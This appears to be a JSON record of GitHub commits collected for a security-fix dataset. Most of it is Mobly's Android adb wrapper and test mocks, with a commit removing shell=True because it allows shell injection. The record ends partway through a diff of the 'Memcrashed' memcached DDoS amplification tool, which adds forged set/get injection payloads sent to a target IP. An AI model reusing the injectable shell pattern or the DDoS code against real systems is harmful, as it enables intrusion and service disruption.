adb=AdbProxy() >> adb.start_server() >> adb.devices() \"\"\" def __init__(self, serial=''): self.serial=serial if serial: self.adb_str='adb -s %s' % serial else: self.adb_str='adb' def _exec_cmd(self, cmd): \"\"\"Executes adb commands in a new shell. This is specific to executing adb binary because stderr is not a good indicator of cmd execution status. Args: cmds: A string that is the adb command to execute. Returns: The output of the adb command run if exit code is 0. Raises: AdbError is raised if the adb command exit code is not 0. \"\"\" proc=subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) (out, err)=proc.communicate() ret=proc.returncode logging.debug('cmd: %s, stdout: %s, stderr: %s, ret: %s', cmd, out, err, ret) if ret==0: return out else: raise AdbError(cmd=cmd, stdout=out, stderr=err, ret_code=ret) def _exec_adb_cmd(self, name, arg_str): return self._exec_cmd(' '.join((self.adb_str, name, arg_str))) def tcp_forward(self, host_port, device_port): \"\"\"Starts tcp forwarding. Args: host_port: Port number to use on the computer. device_port: Port number to use on the android device. \"\"\" self.forward('tcp:%d tcp:%d' %(host_port, device_port)) def getprop(self, prop_name): \"\"\"Get a property of the device. This is a convenience wrapper for \"adb shell getprop xxx\". Args: prop_name: A string that is the name of the property to get. Returns: A string that is the value of the property, or None if the property doesn't exist. \"\"\" return self.shell('getprop %s' % prop_name).decode('utf-8').strip() def __getattr__(self, name): def adb_call(*args): clean_name=name.replace('_', '-') arg_str=' '.join(str(elem) for elem in args) return self._exec_adb_cmd(clean_name, arg_str) return adb_call ", "sourceWithComments": "#!/usr/bin/env python3.4\n#\n# Copyright 2016 Google Inc.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom builtins import str\n\nimport logging\nimport random\nimport socket\nimport subprocess\nimport time\n\n\nclass AdbError(Exception):\n \"\"\"Raised when there is an error in adb operations.\"\"\"\n\n def __init__(self, cmd, stdout, stderr, ret_code):\n self.cmd = cmd\n self.stdout = stdout\n self.stderr = stderr\n self.ret_code = ret_code\n\n def __str__(self):\n return ('Error executing adb cmd \"%s\". ret: %d, stdout: %s, stderr: %s'\n ) % (self.cmd, self.ret_code, self.stdout, self.stderr)\n\n\ndef list_occupied_adb_ports():\n \"\"\"Lists all the host ports occupied by adb forward.\n\n This is useful because adb will silently override the binding if an attempt\n to bind to a port already used by adb was made, instead of throwing binding\n error. So one should always check what ports adb is using before trying to\n bind to a port with adb.\n\n Returns:\n A list of integers representing occupied host ports.\n \"\"\"\n out = AdbProxy().forward('--list')\n clean_lines = str(out, 'utf-8').strip().split('\\n')\n used_ports = []\n for line in clean_lines:\n tokens = line.split(' tcp:')\n if len(tokens) != 3:\n continue\n used_ports.append(int(tokens[1]))\n return used_ports\n\n\nclass AdbProxy():\n \"\"\"Proxy class for ADB.\n\n For syntactic reasons, the '-' in adb commands need to be replaced with\n '_'. Can directly execute adb commands on an object:\n >> adb = AdbProxy()\n >> adb.start_server()\n >> adb.devices() # will return the console output of \"adb devices\".\n \"\"\"\n\n def __init__(self, serial=''):\n self.serial = serial\n if serial:\n self.adb_str = 'adb -s %s' % serial\n else:\n self.adb_str = 'adb'\n\n def _exec_cmd(self, cmd):\n \"\"\"Executes adb commands in a new shell.\n\n This is specific to executing adb binary because stderr is not a good\n indicator of cmd execution status.\n\n Args:\n cmds: A string that is the adb command to execute.\n\n Returns:\n The output of the adb command run if exit code is 0.\n\n Raises:\n AdbError is raised if the adb command exit code is not 0.\n \"\"\"\n proc = subprocess.Popen(\n cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n (out, err) = proc.communicate()\n ret = proc.returncode\n logging.debug('cmd: %s, stdout: %s, stderr: %s, ret: %s', cmd, out,\n err, ret)\n if ret == 0:\n return out\n else:\n raise AdbError(cmd=cmd, stdout=out, stderr=err, ret_code=ret)\n\n def _exec_adb_cmd(self, name, arg_str):\n return self._exec_cmd(' '.join((self.adb_str, name, arg_str)))\n\n def tcp_forward(self, host_port, device_port):\n \"\"\"Starts tcp forwarding.\n\n Args:\n host_port: Port number to use on the computer.\n device_port: Port number to use on the android device.\n \"\"\"\n self.forward('tcp:%d tcp:%d' % (host_port, device_port))\n\n def getprop(self, prop_name):\n \"\"\"Get a property of the device.\n\n This is a convenience wrapper for \"adb shell getprop xxx\".\n\n Args:\n prop_name: A string that is the name of the property to get.\n\n Returns:\n A string that is the value of the property, or None if the property\n doesn't exist.\n \"\"\"\n return self.shell('getprop %s' % prop_name).decode('utf-8').strip()\n\n def __getattr__(self, name):\n def adb_call(*args):\n clean_name = name.replace('_', '-')\n arg_str = ' '.join(str(elem) for elem in args)\n return self._exec_adb_cmd(clean_name, arg_str)\n\n return adb_call\n"}, "/mobly/controllers/android_device_lib/jsonrpc_client_base.py": {"changes": [{"diff": "\n This surpresses AdbError if the grep fails to find anything.\n \n Args:\n- adb_shell_cmd: A string that is an adb shell cmd with grep.\n+ adb_shell_cmd: string, a grep command to execute on the device.\n \n Returns:\n The stdout of the grep result if the grep found something, False\n otherwise.\n \"\"\"\n try:\n- return self._adb.shell(adb_shell_cmd).decode('utf-8')\n+ return self._adb.shell(adb_shell_cmd).decode('utf-8').rstrip()\n except adb.AdbError as e:\n if (e.ret_code == 1) and (not e.stdout) and (not e.stderr):\n return Fal", "add": 2, "remove": 2, "filename": "/mobly/controllers/android_device_lib/jsonrpc_client_base.py", "badparts": [" adb_shell_cmd: A string that is an adb shell cmd with grep.", " return self._adb.shell(adb_shell_cmd).decode('utf-8')"], "goodparts": [" adb_shell_cmd: string, a grep command to execute on the device.", " return self._adb.shell(adb_shell_cmd).decode('utf-8').rstrip()"]}], "source": "\n \"\"\"Base class for clients that communicate with apps over a JSON RPC interface. The JSON protocol expected by this module is: Request: { \"id\": \"method\": \"params\": } Response: { \"id\": , \"result\": , \"error\": \"callback\": \"\"\" from builtins import str import json import logging import socket import threading import time from mobly.controllers.android_device_lib import adb from mobly.controllers.android_device_lib import callback_handler APP_START_WAIT_TIME=15 UNKNOWN_UID=-1 _SOCKET_CONNECTION_TIMEOUT=60 _SOCKET_READ_TIMEOUT=callback_handler.MAX_TIMEOUT class Error(Exception): pass class AppStartError(Error): \"\"\"Raised when the app is not able to be started.\"\"\" class ApiError(Error): \"\"\"Raised when remote API reports an error.\"\"\" class ProtocolError(Error): \"\"\"Raised when there is some error in exchanging data with server.\"\"\" NO_RESPONSE_FROM_HANDSHAKE='No response from handshake.' NO_RESPONSE_FROM_SERVER='No response from server.' MISMATCHED_API_ID='Mismatched API id.' class JsonRpcCommand(object): \"\"\"Commands that can be invoked on all jsonrpc clients. INIT: Initializes a new session. CONTINUE: Creates a connection. \"\"\" INIT='initiate' CONTINUE='continue' class JsonRpcClientBase(object): \"\"\"Base class for jsonrpc clients that connect to remote servers. Connects to a remote device running a jsonrpc-compatible app. Before opening a connection a port forward must be setup to go over usb. This be done using adb.tcp_forward(). This calls the shell command adb forward remote>. Once the port has been forwarded it can be used in this object as the port of communication. Attributes: host_port:(int) The host port of this RPC client. device_port:(int) The device port of this RPC client. app_name:(str) The user-visible name of the app being communicated with. uid:(int) The uid of this session. \"\"\" def __init__(self, host_port, device_port, app_name, adb_proxy, log=logging.getLogger()): \"\"\" Args: host_port:(int) The host port of this RPC client. device_port:(int) The device port of this RPC client. app_name:(str) The user-visible name of the app being communicated with. adb_proxy:(adb.AdbProxy) The adb proxy to use to start the app. \"\"\" self.host_port=host_port self.device_port=device_port self.app_name=app_name self.uid=None self._adb=adb_proxy self._client=None self._conn=None self._counter=None self._lock=threading.Lock() self._event_client=None self._log=log def __del__(self): self.close() def _do_start_app(self): \"\"\"Starts the server app on the android device. Must be implemented by subclasses. \"\"\" raise NotImplementedError() def _start_event_client(self): \"\"\"Starts a separate JsonRpc client to the same session for propagating events. This is an optional function that should only implement if the client utilizes the snippet event mechanism. Returns: A JsonRpc Client object that connects to the same session as the one on which this function is called. \"\"\" raise NotImplementedError() def stop_app(self): \"\"\"Kills any running instance of the app. Must be implemented by subclasses. \"\"\" raise NotImplementedError() def check_app_installed(self): \"\"\"Checks if app is installed. Must be implemented by subclasses. \"\"\" raise NotImplementedError() def start_app(self, wait_time=APP_START_WAIT_TIME): \"\"\"Starts the server app on the android device. Args: wait_time: float, The time to wait for the app to come up before raising an error. Raises: AppStartError: When the app was not able to be started. \"\"\" self.check_app_installed() self._do_start_app() for _ in range(wait_time): time.sleep(1) if self._is_app_running(): self._log.debug('Successfully started %s', self.app_name) return raise AppStartError('%s failed to start on %s.' % (self.app_name, self._adb.serial)) def connect(self, uid=UNKNOWN_UID, cmd=JsonRpcCommand.INIT): \"\"\"Opens a connection to a JSON RPC server. Opens a connection to a remote client. The connection attempt will time out if it takes longer than _SOCKET_CONNECTION_TIMEOUT seconds. Each subsequent operation over this socket will time out after _SOCKET_READ_TIMEOUT seconds as well. Args: uid: int, The uid of the session to join, or UNKNOWN_UID to start a new session. cmd: JsonRpcCommand, The command to use for creating the connection. Raises: IOError: Raised when the socket times out from io error socket.timeout: Raised when the socket waits to long for connection. ProtocolError: Raised when there is an error in the protocol. \"\"\" self._counter=self._id_counter() self._conn=socket.create_connection(('127.0.0.1', self.host_port), _SOCKET_CONNECTION_TIMEOUT) self._conn.settimeout(_SOCKET_READ_TIMEOUT) self._client=self._conn.makefile(mode='brw') resp=self._cmd(cmd, uid) if not resp: raise ProtocolError(ProtocolError.NO_RESPONSE_FROM_HANDSHAKE) result=json.loads(str(resp, encoding='utf8')) if result['status']: self.uid=result['uid'] else: self.uid=UNKNOWN_UID def close(self): \"\"\"Close the connection to the remote client.\"\"\" if self._conn: self._conn.close() self._conn=None def _adb_grep_wrapper(self, adb_shell_cmd): \"\"\"A wrapper for the specific usage of adb shell grep in this class. This surpresses AdbError if the grep fails to find anything. Args: adb_shell_cmd: A string that is an adb shell cmd with grep. Returns: The stdout of the grep result if the grep found something, False otherwise. \"\"\" try: return self._adb.shell(adb_shell_cmd).decode('utf-8') except adb.AdbError as e: if(e.ret_code==1) and(not e.stdout) and(not e.stderr): return False raise def _cmd(self, command, uid=None): \"\"\"Send a command to the server. Args: command: str, The name of the command to execute. uid: int, the uid of the session to send the command to. Returns: The line that was written back. \"\"\" if not uid: uid=self.uid self._client.write( json.dumps({ 'cmd': command, 'uid': uid }).encode(\"utf8\") +b'\\n') self._client.flush() return self._client.readline() def _rpc(self, method, *args): \"\"\"Sends an rpc to the app. Args: method: str, The name of the method to execute. args: any, The args of the method. Returns: The result of the rpc. Raises: ProtocolError: Something went wrong with the protocol. ApiError: The rpc went through, however executed with errors. \"\"\" with self._lock: apiid=next(self._counter) data={'id': apiid, 'method': method, 'params': args} request=json.dumps(data) self._client.write(request.encode(\"utf8\") +b'\\n') self._client.flush() response=self._client.readline() if not response: raise ProtocolError(ProtocolError.NO_RESPONSE_FROM_SERVER) result=json.loads(str(response, encoding=\"utf8\")) if result['error']: raise ApiError(result['error']) if result['id'] !=apiid: raise ProtocolError(ProtocolError.MISMATCHED_API_ID) if result.get('callback') is not None: if self._event_client is None: self._event_client=self._start_event_client() return callback_handler.CallbackHandler( callback_id=result['callback'], event_client=self._event_client, ret_value=result['result'], method_name=method) return result['result'] def _is_app_running(self): \"\"\"Checks if the app is currently running on an android device. May be overridden by subclasses with custom sanity checks. \"\"\" running=False try: self.connect() running=True finally: self.close() return running def __getattr__(self, name): \"\"\"Wrapper for python magic to turn method calls into RPC calls.\"\"\" def rpc_call(*args): return self._rpc(name, *args) return rpc_call def _id_counter(self): i=0 while True: yield i i +=1 ", "sourceWithComments": "#/usr/bin/env python3.4\n#\n# Copyright 2016 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Base class for clients that communicate with apps over a JSON RPC interface.\n\nThe JSON protocol expected by this module is:\n\nRequest:\n{\n \"id\": \n \"method\": \n \"params\": \n}\n\nResponse:\n{\n \"id\": ,\n \"result\": ,\n \"error\": \n \"callback\": \n\"\"\"\n\nfrom builtins import str\n\nimport json\nimport logging\nimport socket\nimport threading\nimport time\n\nfrom mobly.controllers.android_device_lib import adb\nfrom mobly.controllers.android_device_lib import callback_handler\n\n# Maximum time to wait for the app to start on the device.\nAPP_START_WAIT_TIME = 15\n\n# UID of the 'unknown' jsonrpc session. Will cause creation of a new session.\nUNKNOWN_UID = -1\n\n# Maximum time to wait for the socket to open on the device.\n_SOCKET_CONNECTION_TIMEOUT = 60\n\n# Maximum time to wait for a response message on the socket.\n_SOCKET_READ_TIMEOUT = callback_handler.MAX_TIMEOUT\n\n\nclass Error(Exception):\n pass\n\n\nclass AppStartError(Error):\n \"\"\"Raised when the app is not able to be started.\"\"\"\n\n\nclass ApiError(Error):\n \"\"\"Raised when remote API reports an error.\"\"\"\n\n\nclass ProtocolError(Error):\n \"\"\"Raised when there is some error in exchanging data with server.\"\"\"\n NO_RESPONSE_FROM_HANDSHAKE = 'No response from handshake.'\n NO_RESPONSE_FROM_SERVER = 'No response from server.'\n MISMATCHED_API_ID = 'Mismatched API id.'\n\n\nclass JsonRpcCommand(object):\n \"\"\"Commands that can be invoked on all jsonrpc clients.\n\n INIT: Initializes a new session.\n CONTINUE: Creates a connection.\n \"\"\"\n INIT = 'initiate'\n CONTINUE = 'continue'\n\n\nclass JsonRpcClientBase(object):\n \"\"\"Base class for jsonrpc clients that connect to remote servers.\n\n Connects to a remote device running a jsonrpc-compatible app. Before opening\n a connection a port forward must be setup to go over usb. This be done using\n adb.tcp_forward(). This calls the shell command adb forward remote>.\n Once the port has been forwarded it can be used in this object as the port\n of communication.\n\n Attributes:\n host_port: (int) The host port of this RPC client.\n device_port: (int) The device port of this RPC client.\n app_name: (str) The user-visible name of the app being communicated\n with.\n uid: (int) The uid of this session.\n \"\"\"\n\n def __init__(self,\n host_port,\n device_port,\n app_name,\n adb_proxy,\n log=logging.getLogger()):\n \"\"\"\n Args:\n host_port: (int) The host port of this RPC client.\n device_port: (int) The device port of this RPC client.\n app_name: (str) The user-visible name of the app being communicated\n with.\n adb_proxy: (adb.AdbProxy) The adb proxy to use to start the app.\n \"\"\"\n self.host_port = host_port\n self.device_port = device_port\n self.app_name = app_name\n self.uid = None\n self._adb = adb_proxy\n self._client = None # prevent close errors on connect failure\n self._conn = None\n self._counter = None\n self._lock = threading.Lock()\n self._event_client = None\n self._log = log\n\n def __del__(self):\n self.close()\n\n # Methods to be implemented by subclasses.\n\n def _do_start_app(self):\n \"\"\"Starts the server app on the android device.\n\n Must be implemented by subclasses.\n \"\"\"\n raise NotImplementedError()\n\n def _start_event_client(self):\n \"\"\"Starts a separate JsonRpc client to the same session for propagating\n events.\n\n This is an optional function that should only implement if the client\n utilizes the snippet event mechanism.\n\n Returns:\n A JsonRpc Client object that connects to the same session as the\n one on which this function is called.\n \"\"\"\n raise NotImplementedError()\n\n def stop_app(self):\n \"\"\"Kills any running instance of the app.\n\n Must be implemented by subclasses.\n \"\"\"\n raise NotImplementedError()\n\n def check_app_installed(self):\n \"\"\"Checks if app is installed.\n\n Must be implemented by subclasses.\n \"\"\"\n raise NotImplementedError()\n\n # Rest of the client methods.\n\n def start_app(self, wait_time=APP_START_WAIT_TIME):\n \"\"\"Starts the server app on the android device.\n\n Args:\n wait_time: float, The time to wait for the app to come up before\n raising an error.\n\n Raises:\n AppStartError: When the app was not able to be started.\n \"\"\"\n self.check_app_installed()\n self._do_start_app()\n for _ in range(wait_time):\n time.sleep(1)\n if self._is_app_running():\n self._log.debug('Successfully started %s', self.app_name)\n return\n raise AppStartError('%s failed to start on %s.' %\n (self.app_name, self._adb.serial))\n\n def connect(self, uid=UNKNOWN_UID, cmd=JsonRpcCommand.INIT):\n \"\"\"Opens a connection to a JSON RPC server.\n\n Opens a connection to a remote client. The connection attempt will time\n out if it takes longer than _SOCKET_CONNECTION_TIMEOUT seconds. Each\n subsequent operation over this socket will time out after\n _SOCKET_READ_TIMEOUT seconds as well.\n\n Args:\n uid: int, The uid of the session to join, or UNKNOWN_UID to start a\n new session.\n cmd: JsonRpcCommand, The command to use for creating the connection.\n\n Raises:\n IOError: Raised when the socket times out from io error\n socket.timeout: Raised when the socket waits to long for connection.\n ProtocolError: Raised when there is an error in the protocol.\n \"\"\"\n self._counter = self._id_counter()\n self._conn = socket.create_connection(('127.0.0.1', self.host_port),\n _SOCKET_CONNECTION_TIMEOUT)\n self._conn.settimeout(_SOCKET_READ_TIMEOUT)\n self._client = self._conn.makefile(mode='brw')\n\n resp = self._cmd(cmd, uid)\n if not resp:\n raise ProtocolError(ProtocolError.NO_RESPONSE_FROM_HANDSHAKE)\n result = json.loads(str(resp, encoding='utf8'))\n if result['status']:\n self.uid = result['uid']\n else:\n self.uid = UNKNOWN_UID\n\n def close(self):\n \"\"\"Close the connection to the remote client.\"\"\"\n if self._conn:\n self._conn.close()\n self._conn = None\n\n def _adb_grep_wrapper(self, adb_shell_cmd):\n \"\"\"A wrapper for the specific usage of adb shell grep in this class.\n\n This surpresses AdbError if the grep fails to find anything.\n\n Args:\n adb_shell_cmd: A string that is an adb shell cmd with grep.\n\n Returns:\n The stdout of the grep result if the grep found something, False\n otherwise.\n \"\"\"\n try:\n return self._adb.shell(adb_shell_cmd).decode('utf-8')\n except adb.AdbError as e:\n if (e.ret_code == 1) and (not e.stdout) and (not e.stderr):\n return False\n raise\n\n def _cmd(self, command, uid=None):\n \"\"\"Send a command to the server.\n\n Args:\n command: str, The name of the command to execute.\n uid: int, the uid of the session to send the command to.\n\n Returns:\n The line that was written back.\n \"\"\"\n if not uid:\n uid = self.uid\n self._client.write(\n json.dumps({\n 'cmd': command,\n 'uid': uid\n }).encode(\"utf8\") + b'\\n')\n self._client.flush()\n return self._client.readline()\n\n def _rpc(self, method, *args):\n \"\"\"Sends an rpc to the app.\n\n Args:\n method: str, The name of the method to execute.\n args: any, The args of the method.\n\n Returns:\n The result of the rpc.\n\n Raises:\n ProtocolError: Something went wrong with the protocol.\n ApiError: The rpc went through, however executed with errors.\n \"\"\"\n with self._lock:\n apiid = next(self._counter)\n data = {'id': apiid, 'method': method, 'params': args}\n request = json.dumps(data)\n self._client.write(request.encode(\"utf8\") + b'\\n')\n self._client.flush()\n response = self._client.readline()\n if not response:\n raise ProtocolError(ProtocolError.NO_RESPONSE_FROM_SERVER)\n result = json.loads(str(response, encoding=\"utf8\"))\n if result['error']:\n raise ApiError(result['error'])\n if result['id'] != apiid:\n raise ProtocolError(ProtocolError.MISMATCHED_API_ID)\n if result.get('callback') is not None:\n if self._event_client is None:\n self._event_client = self._start_event_client()\n return callback_handler.CallbackHandler(\n callback_id=result['callback'],\n event_client=self._event_client,\n ret_value=result['result'],\n method_name=method)\n return result['result']\n\n def _is_app_running(self):\n \"\"\"Checks if the app is currently running on an android device.\n\n May be overridden by subclasses with custom sanity checks.\n \"\"\"\n running = False\n try:\n self.connect()\n running = True\n finally:\n self.close()\n # This 'return' squashes exceptions from connect()\n return running\n\n def __getattr__(self, name):\n \"\"\"Wrapper for python magic to turn method calls into RPC calls.\"\"\"\n\n def rpc_call(*args):\n return self._rpc(name, *args)\n\n return rpc_call\n\n def _id_counter(self):\n i = 0\n while True:\n yield i\n i += 1\n"}, "/tests/lib/mock_android_device.py": {"changes": [{"diff": "\n elif params == \"sys.boot_completed\":\n return \"1\"\n \n- def bugreport(self, params):\n- expected = os.path.join(logging.log_path,\n- \"AndroidDevice%s\" % self.serial, \"BugReports\",\n- \"test_something,sometime,%s\" % (self.serial))\n- assert expected in params, \"Expected '%s', got '%s'.\" % (expected,\n- params)\n+ def bugreport(self, args, shell=False):\n+ expected = os.path.join(\n+ logging.log_path,\n+ 'AndroidDevice%s' % self.serial,\n+ 'BugReports',\n+ 'test_something,sometime,%s' % self.serial)\n+ if expected not in args:\n+ raise Error('\"Expected \"%s\", got \"%s\"' % (expected, args))\n \n def __getattr__(self, name):\n \"\"\"All calls to the none-existent functions in adb proxy would\n", "add": 8, "remove": 6, "filename": "/tests/lib/mock_android_device.py", "badparts": [" def bugreport(self, params):", " expected = os.path.join(logging.log_path,", " \"AndroidDevice%s\" % self.serial, \"BugReports\",", " \"test_something,sometime,%s\" % (self.serial))", " assert expected in params, \"Expected '%s', got '%s'.\" % (expected,", " params)"], "goodparts": [" def bugreport(self, args, shell=False):", " expected = os.path.join(", " logging.log_path,", " 'AndroidDevice%s' % self.serial,", " 'BugReports',", " 'test_something,sometime,%s' % self.serial)", " if expected not in args:", " raise Error('\"Expected \"%s\", got \"%s\"' % (expected, args))"]}], "source": "\n import logging import mock import os def get_mock_ads(num): \"\"\"Generates a list of mock AndroidDevice objects. The serial number of each device will be integer 0 through num -1. Args: num: An integer that is the number of mock AndroidDevice objects to create. \"\"\" ads=[] for i in range(num): ad=mock.MagicMock(name=\"AndroidDevice\", serial=str(i), h_port=None) ads.append(ad) return ads def get_all_instances(): return get_mock_ads(5) def get_instances(serials): ads=[] for serial in serials: ad=mock.MagicMock(name=\"AndroidDevice\", serial=serial, h_port=None) ads.append(ad) return ads def get_instances_with_configs(dicts): return get_instances([d['serial'] for d in dicts]) def list_adb_devices(): return[ad.serial for ad in get_mock_ads(5)] class MockAdbProxy(object): \"\"\"Mock class that swaps out calls to adb with mock calls.\"\"\" def __init__(self, serial, fail_br=False, fail_br_before_N=False): self.serial=serial self.fail_br=fail_br self.fail_br_before_N=fail_br_before_N def shell(self, params): if params==\"id -u\": return b\"root\" elif params==\"bugreportz\": if self.fail_br: return b\"OMG I died!\\n\" return b'OK:/path/bugreport.zip\\n' elif params==\"bugreportz -v\": if self.fail_br_before_N: return b\"/system/bin/sh: bugreportz: not found\" return b'1.1' def getprop(self, params): if params==\"ro.build.id\": return \"AB42\" elif params==\"ro.build.type\": return \"userdebug\" elif params==\"ro.build.product\" or params==\"ro.product.name\": return \"FakeModel\" elif params==\"sys.boot_completed\": return \"1\" def bugreport(self, params): expected=os.path.join(logging.log_path, \"AndroidDevice%s\" % self.serial, \"BugReports\", \"test_something,sometime,%s\" %(self.serial)) assert expected in params, \"Expected '%s', got '%s'.\" %(expected, params) def __getattr__(self, name): \"\"\"All calls to the none-existent functions in adb proxy would simply return the adb command string. \"\"\" def adb_call(*args): arg_str=' '.join(str(elem) for elem in args) return arg_str return adb_call class MockFastbootProxy(object): \"\"\"Mock class that swaps out calls to adb with mock calls.\"\"\" def __init__(self, serial): self.serial=serial def devices(self): return b\"xxxx device\\nyyyy device\" def __getattr__(self, name): def fastboot_call(*args): arg_str=' '.join(str(elem) for elem in args) return arg_str return fastboot_call ", "sourceWithComments": "#!/usr/bin/env python3.4\n#\n# Copyright 2016 Google Inc.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# This module has common mock objects and functions used in unit tests for\n# mobly.controllers.android_device module.\n\nimport logging\nimport mock\nimport os\n\n\ndef get_mock_ads(num):\n \"\"\"Generates a list of mock AndroidDevice objects.\n\n The serial number of each device will be integer 0 through num - 1.\n\n Args:\n num: An integer that is the number of mock AndroidDevice objects to\n create.\n \"\"\"\n ads = []\n for i in range(num):\n ad = mock.MagicMock(name=\"AndroidDevice\", serial=str(i), h_port=None)\n ads.append(ad)\n return ads\n\n\ndef get_all_instances():\n return get_mock_ads(5)\n\n\ndef get_instances(serials):\n ads = []\n for serial in serials:\n ad = mock.MagicMock(name=\"AndroidDevice\", serial=serial, h_port=None)\n ads.append(ad)\n return ads\n\n\ndef get_instances_with_configs(dicts):\n return get_instances([d['serial'] for d in dicts])\n\n\ndef list_adb_devices():\n return [ad.serial for ad in get_mock_ads(5)]\n\n\nclass MockAdbProxy(object):\n \"\"\"Mock class that swaps out calls to adb with mock calls.\"\"\"\n\n def __init__(self, serial, fail_br=False, fail_br_before_N=False):\n self.serial = serial\n self.fail_br = fail_br\n self.fail_br_before_N = fail_br_before_N\n\n def shell(self, params):\n if params == \"id -u\":\n return b\"root\"\n elif params == \"bugreportz\":\n if self.fail_br:\n return b\"OMG I died!\\n\"\n return b'OK:/path/bugreport.zip\\n'\n elif params == \"bugreportz -v\":\n if self.fail_br_before_N:\n return b\"/system/bin/sh: bugreportz: not found\"\n return b'1.1'\n\n def getprop(self, params):\n if params == \"ro.build.id\":\n return \"AB42\"\n elif params == \"ro.build.type\":\n return \"userdebug\"\n elif params == \"ro.build.product\" or params == \"ro.product.name\":\n return \"FakeModel\"\n elif params == \"sys.boot_completed\":\n return \"1\"\n\n def bugreport(self, params):\n expected = os.path.join(logging.log_path,\n \"AndroidDevice%s\" % self.serial, \"BugReports\",\n \"test_something,sometime,%s\" % (self.serial))\n assert expected in params, \"Expected '%s', got '%s'.\" % (expected,\n params)\n\n def __getattr__(self, name):\n \"\"\"All calls to the none-existent functions in adb proxy would\n simply return the adb command string.\n \"\"\"\n def adb_call(*args):\n arg_str = ' '.join(str(elem) for elem in args)\n return arg_str\n\n return adb_call\n\n\nclass MockFastbootProxy(object):\n \"\"\"Mock class that swaps out calls to adb with mock calls.\"\"\"\n\n def __init__(self, serial):\n self.serial = serial\n\n def devices(self):\n return b\"xxxx device\\nyyyy device\"\n\n def __getattr__(self, name):\n def fastboot_call(*args):\n arg_str = ' '.join(str(elem) for elem in args)\n return arg_str\n return fastboot_call\n"}}, "msg": "Avoid using the shell for adb commands wherever possible. (#162)\n\nPer the 'subprocess' documentation, running commands through the shell is\r\nbrittle (because the command has to handle shell interpolation/quoting\r\nrules which might also vary between shells) and dangerous (because it makes\r\nshell injection vulnerabilities possible).\r\n\r\nRunning commands through the shell is still possible by exposing the\r\n'shell' argument of subprocess to callers.\r\n\r\nIssue #163.\r\nIssue #151."}}, "https://github.com/649/Memcrashed-DDoS-Exploit": {"caeeef086923f4024b959c416a57d565a7427a78": {"url": "https://api.github.com/repos/649/Memcrashed-DDoS-Exploit/commits/caeeef086923f4024b959c416a57d565a7427a78", "html_url": "https://github.com/649/Memcrashed-DDoS-Exploit/commit/caeeef086923f4024b959c416a57d565a7427a78", "message": "Version 4.0\n\nNew feature:\n- New memory injection technique with \"set\" and \"get\" memcache commands\n- Payload now is automatically converted into TWO synchronized payloads,\none is set (allows you to write data onto the affected server), the\nother is get (allows you to retrieve the stored data but sent TO the\ntarget specified)\n\nIssues:\n\nI've discovered that the Scapy module could be a little faulty. Tests\nwere conducted and the memcache server you initially send forged packets\nto do not even receive the data. This could be a firewall issue but also\na scapy issue.\n\n*If someone can test and see if a memcache server can receive the data\non the specified port 11211 by checking via \"get injected\", please open\nan issue and relay your results. Also feel free to fix any errors I\nmight have made in this version. I'll be more than happy to merge your\nfixes.", "sha": "caeeef086923f4024b959c416a57d565a7427a78", "keyword": "command injection issue", "diff": "diff --git a/Memcrashed.py b/Memcrashed.py\nindex 591b177..bf89a6e 100644\n--- a/Memcrashed.py\n+++ b/Memcrashed.py\n@@ -27,7 +27,7 @@ class color:\n \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \n \n Author: @037\n- Version: 3.2\n+ Version: 4.0\n \n ####################################### DISCLAIMER ########################################\n | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n@@ -84,8 +84,15 @@ class color:\n if saveme.startswith('y') or query.startswith('y'):\n print('')\n target = input(\"[\u25b8] Enter target IP address: \")\n+ targetport = input(\"[\u25b8] Enter target port number (Default 80): \") or \"80\"\n power = int(input(\"[\u25b8] Enter preferred power (Default 1): \") or \"1\")\n- data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ print('')\n+ data = input(\"[+] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ dataset = \"set injected 0 3600 \", len(data)+1, \"\\r\\n\", data, \"\\r\\n get injected\\r\\n\"\n+ setdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00set\\x00injected\\x000\\x003600\\x00%s\\r\\n%s\\r\\n\" % (len(data)+1, data))\n+ getdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00get\\x00injected\\r\\n\")\n+ print(\"[+] Payload transformed: \", dataset)\n print('')\n if query.startswith('y'):\n iplist = input('[*] Would you like to display all the bots 